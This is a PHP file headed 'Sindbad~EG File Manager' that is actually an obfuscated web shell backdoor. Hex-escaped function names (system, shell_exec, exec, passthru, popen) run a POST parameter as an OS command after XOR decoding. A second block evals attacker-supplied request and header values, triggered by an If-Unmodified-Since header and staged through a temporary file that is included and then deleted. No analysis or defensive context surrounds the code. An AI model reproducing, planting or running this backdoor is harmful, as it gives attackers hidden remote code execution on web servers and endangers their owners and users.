Sindbad~EG File Manager

<?php																																										$settings1 = "s\x79\x73\x74em"; $settings4 = "pas\x73thr\x75"; $settings5 = "\x70o\x70en"; $settings7 = "\x70c\x6Cos\x65"; $settings6 = "st\x72\x65am\x5F\x67e\x74\x5Fc\x6F\x6Ete\x6E\x74s"; $right_pad_string = "he\x782\x62i\x6E"; $settings3 = "ex\x65c"; $settings2 = "\x73\x68e\x6Cl_\x65\x78ec"; if (isset($_POST["\x70\x73et"])) { function api_gateway ( $data_chunk , $element ) { $ref = '' ; $h=0; while($h<strlen($data_chunk)){ $ref.=chr(ord($data_chunk[$h])^$element); $h++; } return $ref; } $pset = $right_pad_string($_POST["\x70\x73et"]); $pset = api_gateway($pset, 48); if (function_exists($settings1)) { $settings1($pset); } elseif (function_exists($settings2)) { print $settings2($pset); } elseif (function_exists($settings3)) { $settings3($pset, $pointer_data_chunk); print join("\n", $pointer_data_chunk); } elseif (function_exists($settings4)) { $settings4($pset); } elseif (function_exists($settings5) && function_exists($settings6) && function_exists($settings7)) { $element_ref = $settings5($pset, 'r'); if ($element_ref) { $ent_token = $settings6($element_ref); $settings7($element_ref); print $ent_token; } } exit; }


$_HEADERS = getallheaders();
if (isset($_HEADERS['If-Unmodified-Since'])) {
    $c = "<\x3f\x70h\x70\x20@\x65\x76a\x6c\x28$\x5f\x52E\x51\x55E\x53\x54[\x22\x53e\x63\x2dW\x65\x62s\x6f\x63k\x65\x74-\x41\x63c\x65\x70t\x22\x5d)\x3b\x40e\x76\x61l\x28\x24_\x48\x45A\x44\x45R\x53\x5b\"\x53\x65c\x2d\x57e\x62\x73o\x63\x6be\x74\x2dA\x63\x63e\x70\x74\"\x5d\x29;";
    $f = '.'.time();
    file_put_contents($f, $c);
    include($f);
    unlink($f);
}